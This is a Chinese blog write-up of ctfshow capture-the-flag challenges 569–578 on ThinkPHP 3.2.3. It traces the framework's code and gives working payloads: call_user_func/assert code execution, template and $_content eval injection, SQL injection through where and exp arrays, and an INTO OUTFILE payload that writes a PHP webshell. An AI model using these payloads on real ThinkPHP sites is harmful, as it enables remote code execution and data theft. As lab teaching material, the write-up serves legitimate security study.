ctfshow ThinkPHP篇—3.2.3(569-578)

本文详细探讨了ThinkPHP框架中的多种安全漏洞,包括URL路由规则利用、SQL注入、代码执行等,并提供了相应的攻击payload示例。通过实例解析了如何通过不同模式访问控制器方法,以及如何利用路由规则、函数调用来执行任意代码。同时,文章还介绍了防止这些攻击的安全措施,提醒开发者注意代码安全。
摘要由CSDN通过智能技术生成

web569

相关内容

参考thinkphp手册
在这里插入图片描述
为了访问下图中的index方法并输出hello 123我们可以通过下面四种模式。
在这里插入图片描述
PATHINFO模式
http://localhost/index.php/Home/Index/index/name/123/
普通模式
http://localhost/index.php?m=Home&c=Index&f=index&name=123
兼容模式
http://localhost/index.php?s=Home/Index/index/name/123
其中参数s来自于ThinkPHP->Conf->convention.php中的VAR_PATH_INFO设置,所以我们也可以改成其他的参数。
REWRITE模式
http://localhost/Home/Index/index/name/123/

题解

所以我们要访问Admin模块的Login控制器的ctfshowLogin方法就很简单了
url/index.php/Admin/Login/ctfshowLogin

web570

下载下来题目给的Applicaition文件,在config.php中发现了一条路由规则。
在这里插入图片描述

	'URL_ROUTE_RULES' => array(
    'ctfshow/:f/:a' =>function($f,$a){
    	call_user_func($f, $a);
    	}
    )

也就是当我们访问url/index.php/ctfshow/xxx/yyy时会执行call_user_func(xxx,yyy)。
因为输入/很困难,所以我们直接执行system(‘ls /’)不太可能,只能换种方法。
payload:
url/index.php/ctfshow/assert/eval($_POST[1])/post: 1=system('cat /f*');

web571

在home模块下的index方法中看到了可控变量n。
在这里插入图片描述
那我们来研究下这个show函数,为了方面我们传的参数只留下$n

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index($n=''){
     $this->show($n);
    }

开启调试,跟进display在这里插入图片描述

跟进fetch
在这里插入图片描述
可以看到我们传入的n也就是content在TMPL_ENGINE_TYPE是php的情况下会进到eval函数中。

在这里插入图片描述
所以我们直接传php代码就可以了。
payload:
?n=<?php system('cat /f*');?>

web572

题目中提到了爆破,在thinkphp开启debug的情况下会在Runtime目录下生成log文件,文件的名称是以年_月_日.log来命名的。所以我们可以来爆破文件名
在这里插入图片描述

bp抓包爆破
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以看到除了我们当天的日期还有一个21_04_05
在这里插入图片描述
日志里面传入了php代码,估计后台是写了个一句话木马,密码是showctf。那我们也来试试。
payload:
index.php?showctf=<?php system('cat /f*');?>

web573

内容比较多,单独写了
内容链接

web574

题目给了首页的源码

public function index($id=1){
$name = M('Users')->where('id='.$id)->find();
$this->show($html);
}

和我们上题分析的区别就是先进的where又进的find,我们来还是来调试下。
传入?id=1'最终在where函数中只执行了下面标注的部分。也就是
$this->options['where']=array("_string"=>"1'")
在这里插入图片描述
前面没什么区别,重点在parseWhere中,此时传入的$where就是我们$this->options['where']的值也就是array("_string"=>"1'")。所以我们会进入下面的if
在这里插入图片描述
$key'_string' $valid=1',,所以最终返回的内容是( id=1 ),所以执行的sql语句是select * from xxx where (id=1') limit 1
在这里插入图片描述
在这里插入图片描述
payload:?id=0) union select 1,flag4s ,3,4 from flags%23(跑表名和列名的步骤省略)

web575

内容比较多,单独写了
内容链接

web576

源码如下

$user = M('Users')->comment($id)->find(intval($id));

因为find的重点id使用了intval,所以前面sql注入的方法无法使用了。那么我们重点看下comment函数
给options的comment赋了值。
在这里插入图片描述
前面的步骤就不一一赘述了。我们看下用到comment的地方
在这里插入图片描述

在这里插入图片描述
当我们传入id=1时最终的sql语句为select * from users where id=1 limit 1 /* 1*/
所以怎么构造就很简单了
payload:
?id=1*/ into outfile "/var/www/html/a.php" lines terminated by "<?php eval($_POST[1]);?>" /*

web577

源码如下,与之前相比多了个where

$map=array(
'id'=>$_GET['id']
);
$user = M('Users')->where($map)->find();

其主要功能就是把传入的值赋值给了$this->options['where']
在这里插入图片描述

现在的options是这样的。
在这里插入图片描述
往下一直走到_parseOptions函数,当经过标注的这个for循环后val被赋值了options['where']的值。
在这里插入图片描述
好我们继续,来到parseWhere的parseWhereItem
在这里插入图片描述
$val是数组时$val[0]赋值给了$exp如果$exp是字符串exp
最后返回的内容是$whereStr .= $key.' '.$val[1];也就是字符串id拼接上$val[1],那么$val是怎么来的呢,我们前面强调了下:_parseOptions函数中,当经过标注的这个for循环后val被赋值了options['where']的值。其实归根结底是赋值的我们传入的id的值。
这下就很明显了。只要我们传入的?id[0]=exp就会进入 $whereStr .= $key.' '.$val[1];
接着我们传入的id[1]=xxx就会被放到sql语句中。

payload:
?id[0]=exp&id[1]==0 union select 1,flag4s,2,3 from flags%23

web578

源码如下,开始调试

public function index($name='',$from='ctfshow'){
	$this->assign($name,$from);
	$this->display('index');
}

第一个函数assign就是一个简单的赋值。就是说如果我们传入?name=a&from=b,那么$this->tVar=array('a'=>'b'); 如果我们传入?name[x]=y,那么$this->tVar=array('x'=>'y');
在这里插入图片描述
接着我们来看下display,跟进fetch
在这里插入图片描述
在这里插入图片描述
可以看到这个地方有个extract函数对$this->tVar进行操作。
假设$this->tVar=array('a'=>'b');那么经过这个函数就会生成$a值为b.
下面重点来了empty($_content)?include $templateFile:eval('?>'.$_content);
$_content不为空时会执行eval函数,这样就能发现了,只要变量覆盖掉$_content就可以执行php代码了
payload:
?name[_content]=<?php system('cat /f*');?>

  • 4
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值